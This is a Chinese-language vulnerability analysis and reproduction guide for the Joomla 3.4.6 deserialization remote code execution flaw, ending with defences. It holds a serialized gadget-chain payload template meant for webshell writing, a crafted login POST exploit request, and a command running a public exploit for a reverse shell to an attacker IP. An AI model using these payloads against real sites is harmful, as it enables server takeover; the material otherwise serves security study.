Joomla 3.4.6 RCE复现及分析
字数 1303 2025-08-15 21:33:44
Joomla 3.4.6 反序列化远程代码执行漏洞分析与复现
漏洞概述
Joomla 3.4.6及之前版本存在一个反序列化漏洞,攻击者可以利用该漏洞实现远程代码执行。该漏洞源于Joomla对用户会话数据处理不当,导致攻击者能够通过精心构造的序列化数据实现任意代码执行。
影响版本
- Joomla 3.0.0 至 3.4.6
- 要求PHP版本 >= 5.3.10
环境搭建
-
下载Joomla 3.4.6:
https://downloads.joomla.org/it/cms/joomla3/3-4-6 -
PHP环境要求:
- PHP 5.4.45 nts(不支持PHP7)
漏洞原理分析
反序列化字符逃逸
漏洞核心在于Joomla对会话数据的处理方式。在libraries/joomla/session/storage/database.php中:
public function read($id) {
// ...
$result = str_replace('\0\0\0', chr(0).'*'.chr(0), $result);
return $result;
}
public function write($id, $data) {
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
// ...
}
这种替换操作会导致序列化字符串长度的变化,攻击者可以利用这种差异构造恶意序列化数据。
利用链分析
- 触发点:通过
com_users组件的登录功能注入恶意序列化数据 - 利用链:
- 构造包含
JDatabaseDriverMysqli对象的序列化数据 - 利用
SimplePie类的cache_name_function和feed_url属性实现代码执行 - 通过
call_user_func执行任意PHP函数
- 构造包含
关键代码分析
// 恶意序列化数据模板
$template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{
s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}
s:21:"\0\0\0disconnectHandlers";a:1:{
i:0;a:2:{
i:0;O:9:"SimplePie":5:{
s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}
s:5:"cache";b:1;
s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";
s:10:"javascript";i:9999;
s:8:"feed_url";s:LENGTH:"PAYLOAD";
}
i:1;s:4:"init";
}
}
s:13:"\0\0\0connection";i:1;
}';
其中:
FUNC_NAME:要执行的PHP函数(如assert)PAYLOAD:要执行的代码(如写入webshell)
漏洞复现步骤
方法一:手动利用
- 构造恶意登录请求:
POST /index.php/component/users HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
password=AAA";s:11:"maonnalezzo":[恶意序列化数据];s:6:"return";s:102:"
[csrf_token]=1
option=com_users
task=user.login
- 触发反序列化:
访问index.php/component/users/?view=login触发payload
方法二:使用公开EXP
-
下载EXP工具:
https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla -
执行命令:
python3 joomla_rce.py -t http://target.com -e -l your_ip -p your_port -
获取反弹shell或webshell
防御措施
- 升级到最新版本Joomla
- 对用户输入进行严格过滤
- 禁用不必要的PHP函数(如
assert) - 实施WAF规则拦截恶意序列化数据
技术细节补充
序列化数据类型标识
PHP序列化中使用以下字母标识类型:
- a - array
- b - boolean
- d - double
- i - integer
- o - common object
- r - reference
- s - string
- C - custom object
- O - class
- N - null
- R - pointer reference
- U - unicode string
关键利用点
SimplePie类的cache_name_function和feed_url属性JDatabaseDriverMysqli的__destruct方法触发调用链call_user_func_array实现任意函数调用